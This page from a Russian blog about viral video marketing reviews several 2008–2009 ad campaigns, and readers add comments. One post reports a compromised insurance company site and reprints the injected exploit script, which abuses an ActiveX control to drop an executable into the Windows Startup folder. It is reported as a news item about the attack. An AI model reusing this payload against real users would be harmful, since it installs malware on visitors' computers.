Последние обновления Страница 3 RSS Показать/спрятать ветки комментариев | Горячие клавиши

  • virusok 12:25 on March 17, 2009 Постоянная ссылка  

    Нарисуй шедевр гамбургером – вирусная реклама фастфуда 

    Это видео демонстрирует один из самых простых способов включения продукта в видео – использовать то, что продвигаете непривычным образом:

    Вряд ли можно представить себе больший идиотизм, чем рисовать Мону Лизу жиром от бургеров, но именно этот сюжет используется в видео для раскрутки промосайта , созданного для продвижения новых Roastburgers сети Arbys. Пока что результат не вдохновляет – 7500 просмотров за 3 дня, но при правильной подаче у видео есть потенциал. Хотя сюжет в общем-то проходной.

     
  • virusok 13:36 on March 13, 2009 Постоянная ссылка  

    Таргетирование вирусной рекламы – миф или реальность? 

    Буквально вчера мы с коллегам по цеху обсуждали возможности по таргетингу вирусной рекламы. С одной стороны, вирусный маркетинг требует вовлечения значительной части аудитории – чем шире круг тех, на кого ориентирован ролик – тем потенциально успешнее он будет. Во многом из-за этой специфики наиболее успешные вирусы связаны с брендами, целевая аудитория которых практически не ограничена. С другой стороны, есть 2 способа таргетировать вирусную рекламу :
    1) сюжетом, специальными лингвистическими и поведенческими кодами, понятными исключительно целевой аудитории. Это один из самых трудных приемов в вирусном маркетинге, требующий большой компетенции и погружения в тематику – креативщики не могут полностью представлять себе реальный круг интересов и стиль общения инженеров, бухгалтеров, владельцев малого бизнеса – скорее всего в их сознании присутствует набор штампов, который и переносится в ролик. В данном случае идеальный вариант – плотная совместная работа креаторов с заказчиком, который разбирается в своей аудитории.
    2) посевом – теми сообществами и площадками, где изначально распространяется контент, который должен быть интересен в первую очередь ЦА. Основная проблема при таком таргетинге – специализированных площадок значительно меньше чем общетематических, не на всех из них можно легко разместить вирусный контент (могут просто удалить и забанить), что повышает риск того, что вирус пройдет незамеченным, не набрав той критической массы внимания со стороны ЦА, которая нужна для запуска вирусного эффекта распространения. Очень помогают нестандартные решения, основанные на типичном профиле представителя ЦА – достигать их в смежных сообществах (например, геологов – среди любителей авторской песни и походом) и в группах выпускников определенных вузов в социальных сетях. Однако подобная активность увеличивает временные и финансовые затраты на подготовку посева.

    Вот отличный пример таргетирования вирусной рекламы – один из последних роликов Samsung, продвигающих новый стандарт твердотелых накопителей SSD:

    Взята тема, которая интересна в основном гикам и it-pro, сделано динамичное видео с демонстрацией продукта, добавлены типичные гиковский и айтишные шутки. Справедливости ради нужно отметить, что таргетировать вирус на айтишников – одно удовольствие. Аудитория проводит полный рабочий день в сети, имеет регистрации во всех крупных сообществах, активно пользуется мессенджерами, почтой, твиттером, rss, frienfeed’ами, любит смотреть видео, узнает большинство интернет-мемов.

    PS В социальной сети vkontakte.ru теперь есть группа, посвященная вирусному маркетингу. Enjoy

     
  • virusok 20:49 on March 11, 2009 Постоянная ссылка  

    Партизанская акция на службе вирусной рекламы или флешмоб ради флешмоба? 

    Недавно на глаза попалось видео, в котором в фудкорте одного из моллов на глазах изумленной публики лихо отплясывают в псевдобэтле танцоры, мимикрирующие под обычных посетителей, охранников и уборщиц:

    То, что это продвижение Ростикса – считывается на раз, бренд в кадре мелькает чуть чаще чем нужно. Посев тоже не блещет изысканностью – натужный исходный пост, который активно вытягивают в топ Яндекса. Пора бы запомнить, что первоначальный источник видео – важный компонент посева, который всегда обращает на себя внимание и авторам сеять его на своем канале имеет смысл только тогда, когда ты сделал себе имя предыдущими видео и уж никак не вместе с псевдонатуральной историей «я просто мимо проходил». Про то, что топ яндекса почти не дает траффика, говорить не буду, кто надо – знает ))

    Само видео весьма ничего, особенно работа оператора и удачно подловленное удивление, ритм правда в середине пропадает и по монтажу и по звуку – стоит помнить, что звуковой ряд все же делает больше половины вирусного ролика. А Павел Гительман подсказывает, что сюжет вторичен – Improve Everywhere уже делали видео, «схожее до степени смешения», но с 3 миллионами просмотров:

    Так что на настоящий момент выходит флешмоб ради флешмоба, который не пошел в массы. 902 просмотра за 2 дня говорят сами за себя. Что-то подсказывает мне, что на всякий случай развлекательные площадки на пятницу куплены, ими и отобьют просмотры, раз вирус не задался.

    PS: В Англии тестируют новый способ мотивации пересылать контент друзьям и знакомым – компенсируя затраты на передачу данных и обещая «ништяки»
    PPS: По агентурным данным в скором времени нас ждет мегасобытие на российском вирусном рынке – следите за обновлениями ))

     
    • филинбасс 21:33 on Март 11, 2009 Постоянная ссылка | Ответить

      ооооо это круто. конечно первое видео недотягивает в середине с народными танцами (хоть и схватили больше всего апплодисментов потому что выглядели как будто по-настоящему вышедшие из толпы люди), можно было просто поверх наложить трек видеоредактору но это ок

      во втором черный уборщик с дредами просто убил лол

  • virusok 19:07 on January 20, 2009 Постоянная ссылка  

    Повторение пройденного 

    Продолжаем тему сиквелов.

    За последние несколько дней сразу два образца продукции российских вирусоделателей:

    1. Особо опасна:

    Это промо женского портала скорее всего является отголосками летне-осеннего тендера на вирусный маркетинг. Идея проста как три копейки – сделать «бунт блондинки» или «погром в парикмахерской» и привязаться к Самому Успешному Российскому Кейсу по Вирусному Маркетингу, спародировав его – даже шрифты в tagline перекочевали с плакатов Wanted. Громят салон красоты смачно, персоналу достается тоже забавно. Но как-то общее впечатление нечеткое. Вердикт – fun, not viral.
    Авторство пока не раскрывают, но одними из первых видео запостили Илья Корнеев из Аффекта и Кирилл Смирнов, творческий директор Victory SA. В общем делаем выводы, sapienti sat.

    На настоящий момент около 70 000 просмотров. Про посев лучше меня расскажет картинка:

    2. MMS нам строить и жить помогает

    Социальные сети экранизировали бородатый анекдот про Ленина, Крупскую, любовницу и чердак/библиотеку в зависимости от редакции. В главный роли Костя Максимюк, который после ухода из Билайна Михаила Умарова, теперь главный в Вымпелкоме по new media. Добротный продакшен и хороший грим, приятная музычка, да и бесспорно хороший задел на будущее сотрудничество в данной ситуации )) Но опять же – fun, not viral (более того – фан в основном для тех, кто знает актера). Да и 350 просмотров пока что не вдохновляют. Подождем и вспомним пока те видео, которые делало это агентство – Темный лорд хозяйничает в Москве и Папуля (авторство этого официально не признано).

    PS
    Объявление – в блоге скоро немного поменяется формат в связи с тем, что virusok.ru будет переделываться. А пока что можно подписаться на твиттер, где нет аналитики, зато есть интересные околовирусные ссылки в daily-формате.

     
  • virusok 02:11 on January 13, 2009 Постоянная ссылка  

    Новое старое – вирусная реклама по второму кругу 

    Факты:
    Ролик 2008 г. с танцующим Мэттом, которому я предрекал большой успех, набрал более 16 миллионов просмотров на Youtube.
    Officemax провела очередное рождественское промо ElfYourself, что становится уже традицией.
    Judson Laipply, автор второго по просмотрам ролика на Youtube – Evolution of Dance, выложил Evolution of Dance 2, на который я и хотел бы обратить внимание:

    Факты+Размышления:
    У видео EOD2 появились спонсоры – рекомендательные сервисы Saveology и Peoplejam. Запуск видео предварялся минипроектом Elolution of You, который эксплуатирует идею уже упоминавшегося ElfYourself, в настоящее время с этим видео связаны еще проекты Ibeatyou (который в свое время продвигался через вирусное видео с участнием знаменитостей) и Sweepstakes.
    Мне долго не давал покоя вопрос – специально ли Джадсон танцевал в оранжевой футболке Crush и будут ли владельцы марки использовать эту популярность в своих кампаниях? Судя по всему любовь к футболкам с содовой у автора этого видео органична и никак не монетизирована. Коммерциализация миллионов просмотров как таковая вообще началась не так давно – потихоньку продавались футболки на сайте, было довольно неудачное видео для продвижения музыкальной системы Sonos, но ничего системного. Все на самом деле очень просто – в первом EOD у правообладателей никто не спрашивал разрешения на использование музыки, что висело над потенциальными доходами как домоклов меч (как собственно и угроза удаления первого видео с youtube). В России, где авторские права нарушаются системно, звучит диковато, но на западе можно попасть на крупные бабки за использование чего-то, защищенного копирайтом, в промо-целях – заставят еще заплатить по доллару за каждое воспроизведение – поэтому осторожные рекламодатели обходили Джадсона стороной.
    Второй ролик изначально строился на «отмытых» от претензий композициях, что позволило получить спонсорский пакет. Возможно именно по этой причине он выглядит откровенно слабо по сравнению с первым опытом. Переходы резковаты, в ролике не прослеживается история, нет драйва, на небольшие часть песен не нашлось движений – танцор просто отдыхает и переминается под музыку, другие движения малоинтересны и не так узнаваемы, как в EOD 1. В общем – читайте комментарии к ролику, там еще куча замечаний. Два спонсора в конце ролика воспринимаются с трудом, да и главный герой в целом не излучает того позитива, который помог первому видео стать лидером Youtube. Коммерция победила искусство? Да нет, видимо сроки и дедлайны победили коммерцию и искусство. Да и ко всему прочему через 2 года обещаний сиквела складывается ощущение, что гора родила мышь, которая полезна лишь Crush’у и ibeatyou, где все бросятся доказывать, что могут танцевать не хуже.
    Миллионы просмотров этого видео конечно же будут, но оно все равно останется в тени первого успешного и драйвого ролика. Пока что 455 000 and counting.

    Подводя итог – использовать старую сработавшую идею можно и нужно, но с каждым воплощением следует раскрывать ее с новой стороны – делать лучше и интересней – как в ElfYourself добавляли количество персонажей в flash-поздравлениях, как Мэтт танцевал в новых странах и необычных местах со все большим количеством фанатов.

    P.S.
    Обновления стали уже совсем редкими, возможно в скором будущем будет легкий переход от аналитики к постингу наиболее интересных из свежих примеров вирусного маркетинга ))

     
  • virusok 22:23 on November 25, 2008 Постоянная ссылка  

    Вирус от маркетологов или настоящий вирус? 

    Не успели мы пообщаться с adme.ru по поводу политики взаимоцитирования в рамках этого материала, как история с вирусным маркетингом Альфы получила неожиданное развитие. Долгая и продолжительная история отношений с маком отучила меня воспринимать вирусы как то, что может угрожать компьютеру и его безопасности, поэтому я проигнорировал предупреждение Safari о том, что сайт alfastrah.ru может содержать вредоносное ПО.

    Сегодня вечером от знакомых из Лаборатории Касперского узнал, что на сайте есть кусок кода, который и превращает рекламный вирус в компьютерный. Оказывается осторожничать с этой ссылкой нужно было не только из-за звука флешки. Не вдаваясь в технические подробности – приведу пару скриншотов и комментарии от специалистов.

    Анализ сайта показал, что, помимо эротического мультика, там сидит и вирус. Интересен способ внедрения: он вставлен аккуратно в центр страницы. Грузит вот что (скрипт даже не зашифрован):

    HTTP/1.1 200 OK
    Date: Tue, 25 Nov 2008 15:43 GMT
    Server: Apache/2.2.3 (CentOS)
    X-Powered-By: PHP/5.1.6
    Vary: Accept-Encoding,User-Agent
    Content-Length: 475
    Connection: close
    Content-Type: text/html
    <object classid=»clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9″ id=»attack»></object>
    <script>
    var arbitrary_file = «
    var destination = ‘c:/Documents and Settings/All Users/Start Menu/Programs/StartUp/browsser.exe’;
    attack.SnapshotPath = arbitrary_file;
    attack.CompressedPath = destination;
    attack.PrintSnapshot(arbitrary_file,destination);
    </script>
    <embed src=»pdf.php» type=»application/pdf» width=100 height=100></embed>

    У вируса есть особенность – блокировка загрузки при повторном посещении – вирус попадает на комп только при первой загрузке с какого-нибудь айпишника, при повторных уже нет. Так что если смотрят из конторы, где ходят через прокси – пострадает только первый посмотревший.
    Для внедрения на сайт была использована незакрытая уязвимость.

    Я полагаю, что аналитики из Касперского уже уведомили IT-департамент Альфы, что нужно лучше работать над безопасностью своих сайтов, однако на всякий случай напишу еще и маркетологам из Альфа-страхования. Однако интересная получается вещь – дырой воспользовались именно тогда, когда пошел рост заходов на сайт по экспоненте. Вот так иногда связаны рекламные и компьютерные вирусы ))

    P.S. Пока что не дошли руки до подробного обзора, можно посмотреть ряд роликов про Блондинку-СИСадминку, в которых продвигается антивирус. Уж очень в тему для этой записи.

     
  • virusok 20:12 on November 24, 2008 Постоянная ссылка
    Метки: alfa, , страхование   

    Все засТРАХовано? 

    В сообществе virusok_ru в ЖЖ поделились ссылкой на сайт Альфа-страхование с инструкцией о том, как активировать easter egg. На главной странице  нужно 5-6 раз кликнуть на телефонный номер в правом верхнем углу и вместо шапки появится специально отрисованный мультфильм эротического содержания. 

    Если лень кликать несколько, можно просто перейти по этой ссылке. Только будьте осторожней в офисе – flash со звуком и коллеги могут неправильно Вас понять.

    Сюжет мультика незатейлив – персонажи с баннеров из шапки один за другим забегают в дом, который трясется и ходит ходуном. Судя по названию флешки – там свингерская вечеринка. У кого-то в руках плетка, у других – надувные резиновые женщины. Заканчивается все тривиально – дом развалился, что аллегорически видимо означает наступление страхового случая.

    Я уже писал об похожем примере – тогда флешку с намеком на эротику спрятала в шапке сейта Корбина.

    Честно говоря мне было странно видеть подобный прием после отличнейшего на мой взгляд кейса по работе с newmedia – страхование фотографий от плохих оценок на сайте odnoklassniki.ru. Вирусный траффик на дороге конечно тоже не валяется, но о качестве контакта я бы задумался. Может на страховщиков кризис так влияет? 

    В то же время респект маркетологам из Альфы – я думаю что еще через 2-3 эксперимента они поймают свой стиль и стоить это будет дешевле спецпроекта на активно монетизирующихся одноклассниках.

     
  • virusok 19:22 on November 14, 2008 Постоянная ссылка  

    Отличное вирусное промо игры Far Cry 2 = вход на рынок агентства Pichesky? 

    Сегодня сразу в нескольких местах увидел промоматериалы игры Far Cry 2, замаскированные под ролики и сайты «наемников».

    Во-первых, в блогах тысячников появились посты со ссылкой на , где привязка к игре довольно прозрачна. Из известных персонажей в кампании задействованы scandalmax (изначальный запуск темы), Прокуратор, Любер, Пробежий, Блогбастер, tarlith, leteha, casualmente и другие, которых можно легко найти поиском Яндекса.

    Во-вторых, в адвертке промелькнул пост с роликом, где я увидел одно из лучших применений spotlight в российской практике вирусного маркетинга:

    По роликам таким образом можно путешествовать, а количество просмотров позволяет проследить конверсию переходов из одного видео в другое. Вообще идея того, чтобы в реальности повторить атмосферу компьютерной игры, не очень оригинальна – существует масса популярных роликов про counter strike в оффлайне.

    Для маленького мирка social-media-marketing интересно другое. По whois становится понятно, что к проекту причастно агентство молодежного маркетинга Pichesky, которое возглавляет Павел Буриан, в недавнем прошлом работавший в Grape. Так что welcome, этот проект лично мне показался весьма интересным и хорошо продуманным.

     
  • virusok 11:32 on October 26, 2008 Постоянная ссылка  

    Waazzzup, Barack? Вирусная реклама кандидата в президенты США 

    Серия роликов Wassup для пива Bud одной из первых открыла механизм вирусного маркетинга. Возглас «Waazzzup» стал настоящим мемом, с легкостью перетек в оффлайн, был растиражирован всевозможными способами – эпизод в Scary Movie, куча переделок и пародий (в том числе и со стороны самой Anheuser-Busch). Через 8 лет вирусная студия 60 Frames вновь собрала героев первого ролика:

    Чуть больше чем за сутки это видео просмотрело около миллиона человек. Рецепт успеха прост – узнаваемые персонажи, стеб над всем чем можно – ипотечным, фондовым и кредитным кризисами, войной в Ираке, стихийными бедствиями, самими собой, и, конечно же, политической конъюнктурой. Связка сюжета с предысторией и слоганом Барака Обамы «Change» близка к гениальной. Думаю не нужно объяснять, что все негативные перемены в жизни героев или отсылки к ним – Ирак, кризис, наводнение в Новом Орлеане – четко увязаны со временем правления республиканцев? Именно за счет тех эмоций, которые призван вызывать ролик, Обама постепенно и побеждает. Это видео один из наиболее красноречивых примеров того, почему его называют кандидатом 2.0

    Первоисточник (Bud True Wassup):

     
    • Zumka 19:17 on Декабрь 5, 2008 Постоянная ссылка | Ответить

      Блин долго искал инфу по сабжу, в яндексе хрен чего найдешь, этот блог наконец-то в гугле попался

  • virusok 14:13 on September 22, 2008 Постоянная ссылка
    Метки: заимствования, метро, mdvision   

    Путешествие по метро в вирусной рекламе homepage.ru 

    MD Vision сняли новый ролик для «сайта о том, как жить в Москве» homepage.ru:

    С одной стороны, нормально вроде бы – и по картинке и по сюжету. С другой – хоть видео и подается как пародия на танцующего Мэтта, о котором я уже писал, пародии как таковой я не увидел. Разве что неплохую с ремесленной точки зрения реализацию сработавшей на Западе идеи.27 часов чистого съемочного времени и то, что объехали все станции место конечно круто, но откровенный плагиат – это bad mzfk.

     
    • Павел 00:43 on Сентябрь 23, 2008 Постоянная ссылка | Ответить

      А не длинно ли для вируса? 8 минут – как-то слишком…

    • Михаил 01:04 on Сентябрь 23, 2008 Постоянная ссылка | Ответить

      Успешность вируса больше зависит от контента, чем от удачного хронометража – можно вспомнить хотя бы стримовский «не было разрыва», который более 15 минут идет. Тут длина как раз монументальность создает. Хотя идеальный хронометраж для вирусного ролика – до 90 секунд.

    • Алексей Терентьев blog-job.ru 15:41 on Сентябрь 23, 2008 Постоянная ссылка | Ответить

      Первый 30 секунд было смешно. Далее не осилил

    • Alexvs 14:03 on Сентябрь 28, 2008 Постоянная ссылка | Ответить

      Обычная копия танцуюего Мэтта реализованная в других условиях

      Вопрос хорошо или нет? Для тех кто видел Метта наверно скучно, но в России процентов 85 пользователей Интернете никогда о нем не слышали и не видели

      И за сим MDVISION будут опять «первыми»

      сдуваются ребята (

    • Никита 07:06 on Октябрь 3, 2008 Постоянная ссылка | Ответить

      Отличная пародия. Рассчитанная как раз на тех кто видел оригинал. Финальные титры «спасибо за футболку и оплаченный проезд» звучит как откровенный стеб Вцелом – зачет, но станций метро в москве слишком много…. Хотя бы питер взяли…
      PS на полноценный вирусняк не тянет.

    • LekaS 14:23 on Октябрь 14, 2008 Постоянная ссылка | Ответить

      Где нормальные комментарии по теме?

    • Антон Попов 11:55 on Октябрь 28, 2008 Постоянная ссылка | Ответить

      У «вируса» нет легенды, нет вовлеченности. Если бы они выкладывали по одной станции метро в течение месяца, а потом склеили бы, то было бы лучше.

c
cоздать новую запись
j
следующая запись/комментарий
k
предыдущая запись/комментарий
r
ответить
e
редактировать
o
показать/скрыть комментарии
t
перейти наверх
l
go to login
h
show/hide help
shift + esc
отменить
Follow

Get every new post delivered to your Inbox.